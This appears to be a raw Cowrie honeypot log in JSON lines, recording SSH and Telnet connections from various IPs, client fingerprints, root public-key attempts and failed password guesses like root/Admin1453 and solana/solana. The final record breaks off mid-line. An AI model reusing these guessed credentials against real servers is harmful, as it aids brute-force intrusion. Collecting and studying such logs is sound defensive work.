{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53936,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a5c5348ed86","protocol":"ssh","message":"New connection: 27.71.230.31:53936 (10.17.0.5:22) [session: 1a5c5348ed86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:10.872255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:11.623680Z","src_ip":"27.71.230.31","session":"1a5c5348ed86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:11.626539Z","src_ip":"27.71.230.31","session":"1a5c5348ed86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:12.003396Z","src_ip":"80.94.92.184","session":"ee88fb2f110a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.241.229.52","src_port":39326,"dst_ip":"159.203.135.109","dst_port":23,"session":"eae1ccdf35b0","protocol":"telnet","message":"New connection: 128.241.229.52:39326 (159.203.135.109:23) [session: eae1ccdf35b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:12.663808Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:13.390478Z","src_ip":"80.94.92.184","session":"ee88fb2f110a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1453","message":"login attempt [root/Admin1453] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:14.963548Z","src_ip":"27.71.230.31","session":"1a5c5348ed86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:16.941192Z","src_ip":"27.71.230.31","session":"1a5c5348ed86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.346169233322144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:25.544350Z","src_ip":"166.62.124.255","session":"b42ba549afa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.172.215","src_port":44326,"dst_ip":"10.17.0.5","dst_port":22,"session":"26723f136d7e","protocol":"ssh","message":"New connection: 96.127.172.215:44326 (10.17.0.5:22) [session: 26723f136d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.739001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.742726Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.771515Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:7c:49:6d:a5:5d:f0:77:b1:dd:ff:e5:79:ad:e3:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/HSZADH3I4cpZWevn+qEK5bIgmbRQkcEuRSpwSrm+nOOLLvylrfzzX5rgfLNU04rMxqZm7NPp9AnIYC8Ot+V2XY5CfZiijBEUsC5H3zGTIzhNjiOLiG0FKeKeteJ+52aDM4dPios+jOgLZR+KfIB7cEXxZF+Z1hQdTWrxiI+j6K2CM6B95Xod7/YsvUwyZtDImtrnc//LWeM+3XmHDKk1o5Jmd45kRPxHbK423bbXfvsRVL3LSoqoUg/HcLZPoEeoYdKfHCyhPZav0rWfn/WHMd9sTpYprTxXBab/dKMqe+HOjkLrxXm8w/qPrV+IPK89LwTO/24PPPUGp9IQBIIx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:7c:49:6d:a5:5d:f0:77:b1:dd:ff:e5:79:ad:e3:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.898504Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:7c:49:6d:a5:5d:f0:77:b1:dd:ff:e5:79:ad:e3:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/HSZADH3I4cpZWevn+qEK5bIgmbRQkcEuRSpwSrm+nOOLLvylrfzzX5rgfLNU04rMxqZm7NPp9AnIYC8Ot+V2XY5CfZiijBEUsC5H3zGTIzhNjiOLiG0FKeKeteJ+52aDM4dPios+jOgLZR+KfIB7cEXxZF+Z1hQdTWrxiI+j6K2CM6B95Xod7/YsvUwyZtDImtrnc//LWeM+3XmHDKk1o5Jmd45kRPxHbK423bbXfvsRVL3LSoqoUg/HcLZPoEeoYdKfHCyhPZav0rWfn/WHMd9sTpYprTxXBab/dKMqe+HOjkLrxXm8w/qPrV+IPK89LwTO/24PPPUGp9IQBIIx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.902109Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:73:e4:7a:db:2a:e4:2e:84:17:3f:98:07:f0:67:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMnkMs4NbKMLR4CmyADldbEHQYl3BULapGlt2qFXzHsxQsUxPd6KlXMY/YuiDkE+GG6u5iE7Hz9XvYY2IJT/JW2Bp4H5l+A4BQoX/HDdsGGj/kYUOz/BPBp3kJtNYeAbbsJGScWzIv27c6nPPKt6eKEYRlQ7qt6n/omYRAu7piSYRxzFnMKBmFmLTJ6GdKSUyuiHzwAWJTLdvx9ZVZ/Q2MY+6/G3NAL80XVjXc/elJEoHWvMDbUtZHzYr/tJSa6wgESfUdpvHTyQbV0ZIXqTTgZY01C1EdZzqWQt2pmUi5MzcXzIzTOt7UztPMk/65ZBqUws/bh7S+pwTytUGqb6PH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:73:e4:7a:db:2a:e4:2e:84:17:3f:98:07:f0:67:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.930648Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:73:e4:7a:db:2a:e4:2e:84:17:3f:98:07:f0:67:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMnkMs4NbKMLR4CmyADldbEHQYl3BULapGlt2qFXzHsxQsUxPd6KlXMY/YuiDkE+GG6u5iE7Hz9XvYY2IJT/JW2Bp4H5l+A4BQoX/HDdsGGj/kYUOz/BPBp3kJtNYeAbbsJGScWzIv27c6nPPKt6eKEYRlQ7qt6n/omYRAu7piSYRxzFnMKBmFmLTJ6GdKSUyuiHzwAWJTLdvx9ZVZ/Q2MY+6/G3NAL80XVjXc/elJEoHWvMDbUtZHzYr/tJSa6wgESfUdpvHTyQbV0ZIXqTTgZY01C1EdZzqWQt2pmUi5MzcXzIzTOt7UztPMk/65ZBqUws/bh7S+pwTytUGqb6PH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.935793Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:b9:fe:cf:f8:81:30:13:31:00:c1:2d:5c:a4:79:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDti1TCfmSbn+uiYqpxFpx3dzk4ftqzawkACILkTNxxbDoCxa2WDZTDpj9Th7om6IqCQhAkdSy3PTUTbit9RC0d6LRDbWMCHfXFLwoSLj2upitxxUzAjAWzcsd2NBT67z1mgnSbfc1Fw5ullOlk+UY7IkscgVt3ulhEo0QUvkOQPgTiPtY08GV1NX+U0woAOEbyNIXcVXd/60Gpowo/8a7E7Jr9TWiMLQosw3/wLwLjmltIhmtB2jRgXZtMQusHNygVP8dhWsCTvUZOly9eyf2rYDMGxrRIqYZlgG94j5I4ah9M2bZyGtUySMZdlIFYMmTRMgBpGYkOd8Z2L76rOFRv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:b9:fe:cf:f8:81:30:13:31:00:c1:2d:5c:a4:79:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.968250Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:b9:fe:cf:f8:81:30:13:31:00:c1:2d:5c:a4:79:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDti1TCfmSbn+uiYqpxFpx3dzk4ftqzawkACILkTNxxbDoCxa2WDZTDpj9Th7om6IqCQhAkdSy3PTUTbit9RC0d6LRDbWMCHfXFLwoSLj2upitxxUzAjAWzcsd2NBT67z1mgnSbfc1Fw5ullOlk+UY7IkscgVt3ulhEo0QUvkOQPgTiPtY08GV1NX+U0woAOEbyNIXcVXd/60Gpowo/8a7E7Jr9TWiMLQosw3/wLwLjmltIhmtB2jRgXZtMQusHNygVP8dhWsCTvUZOly9eyf2rYDMGxrRIqYZlgG94j5I4ah9M2bZyGtUySMZdlIFYMmTRMgBpGYkOd8Z2L76rOFRv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:39.971239Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:9c:cc:41:62:ae:4f:17:09:45:92:9b:df:e3:15:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB0g2Y9U1sxPZt3XiriOA8E+PziqULJ9YjDr0V4k4kwYqrPiRBCurl0uJnQIEl2ZbYhm0116ep3hF/uBBiMmkUVl9WMVCIyfudBOtmpaCigCh+Ea5rESg3wwEdxC96/zwJli50D8MONuZH9XeLPdxX6c7Ew8DEGo0LXf2a8lV0PxONmVjadZsPlfvbh+b37JD3XwpAKjelvHpB6OIfCYdZ/pKbe4oA+yuXTzRXiut+3yFTlDPZFAWynTIyPeFj1f4Dn47vWl1JIyor9ztGEUi75MF8xsvF3IlFiYwG2UwXQXbi3gpmG1sxUKBhmTaQ27+bqOtAJZntoVfAfasBUsRz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:9c:cc:41:62:ae:4f:17:09:45:92:9b:df:e3:15:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:40.004511Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:9c:cc:41:62:ae:4f:17:09:45:92:9b:df:e3:15:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB0g2Y9U1sxPZt3XiriOA8E+PziqULJ9YjDr0V4k4kwYqrPiRBCurl0uJnQIEl2ZbYhm0116ep3hF/uBBiMmkUVl9WMVCIyfudBOtmpaCigCh+Ea5rESg3wwEdxC96/zwJli50D8MONuZH9XeLPdxX6c7Ew8DEGo0LXf2a8lV0PxONmVjadZsPlfvbh+b37JD3XwpAKjelvHpB6OIfCYdZ/pKbe4oA+yuXTzRXiut+3yFTlDPZFAWynTIyPeFj1f4Dn47vWl1JIyor9ztGEUi75MF8xsvF3IlFiYwG2UwXQXbi3gpmG1sxUKBhmTaQ27+bqOtAJZntoVfAfasBUsRz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:40.007513Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:d0:c1:66:69:3c:c7:8d:10:3f:e9:6d:81:1a:89:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC116N9ZF0BS0GG84qV9kmsjb94SgIg902P0xovnWESQOOvAQHW1QLyqfBK2rvmAUlx9GJ09sQD7NbdjLCTg/Y772uCOIrvRJo/Dm8P6JaLHKw4BFVonA1X1nzT8agVJBjbzje2gHmdWmDNLNNERNZxo9v2VvLJJwtEZHDgSdUGD1fgFT1dmBNHZoHnMWxeqHW9EUYTF8v6WcD7JeGk1DNNTSmTCrM/ECsxVG3LOIrLV0w9GCOvFoo+doZT8Lhw6GeB6LVQ86ygldrE3XoDKBkQMJTG8+DbzCTnAXpD3/0q/6GJ0NrKEBz7boXU/bZTzkKSd5c23n4X2vHEyx8EsoBd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:d0:c1:66:69:3c:c7:8d:10:3f:e9:6d:81:1a:89:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:40.037393Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:d0:c1:66:69:3c:c7:8d:10:3f:e9:6d:81:1a:89:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC116N9ZF0BS0GG84qV9kmsjb94SgIg902P0xovnWESQOOvAQHW1QLyqfBK2rvmAUlx9GJ09sQD7NbdjLCTg/Y772uCOIrvRJo/Dm8P6JaLHKw4BFVonA1X1nzT8agVJBjbzje2gHmdWmDNLNNERNZxo9v2VvLJJwtEZHDgSdUGD1fgFT1dmBNHZoHnMWxeqHW9EUYTF8v6WcD7JeGk1DNNTSmTCrM/ECsxVG3LOIrLV0w9GCOvFoo+doZT8Lhw6GeB6LVQ86ygldrE3XoDKBkQMJTG8+DbzCTnAXpD3/0q/6GJ0NrKEBz7boXU/bZTzkKSd5c23n4X2vHEyx8EsoBd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:40.040940Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:40.075440Z","src_ip":"96.127.172.215","session":"26723f136d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.846462726593018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:43.510126Z","src_ip":"128.241.229.52","session":"eae1ccdf35b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35962,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6e2870a4db7","protocol":"ssh","message":"New connection: 62.133.62.83:35962 (159.203.135.109:22) [session: e6e2870a4db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:46.651320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:46.655647Z","src_ip":"62.133.62.83","session":"e6e2870a4db7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:46.733358Z","src_ip":"62.133.62.83","session":"e6e2870a4db7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234554","message":"login attempt [root/1234554] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:46.969157Z","src_ip":"62.133.62.83","session":"e6e2870a4db7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:26:48.049542Z","src_ip":"62.133.62.83","session":"e6e2870a4db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":36696,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb7fb299c2c6","protocol":"ssh","message":"New connection: 38.93.206.2:36696 (10.17.0.5:22) [session: eb7fb299c2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:27.632214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:27.636078Z","src_ip":"38.93.206.2","session":"eb7fb299c2c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:27.685847Z","src_ip":"38.93.206.2","session":"eb7fb299c2c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bujhmbujhm","message":"login attempt [root/bujhmbujhm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:27.840383Z","src_ip":"38.93.206.2","session":"eb7fb299c2c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:28.892451Z","src_ip":"38.93.206.2","session":"eb7fb299c2c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39124,"dst_ip":"159.203.135.109","dst_port":22,"session":"787d6f7b994f","protocol":"ssh","message":"New connection: 27.71.230.31:39124 (159.203.135.109:22) [session: 787d6f7b994f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:44.958932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:27:45.107575Z","src_ip":"27.71.230.31","session":"787d6f7b994f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-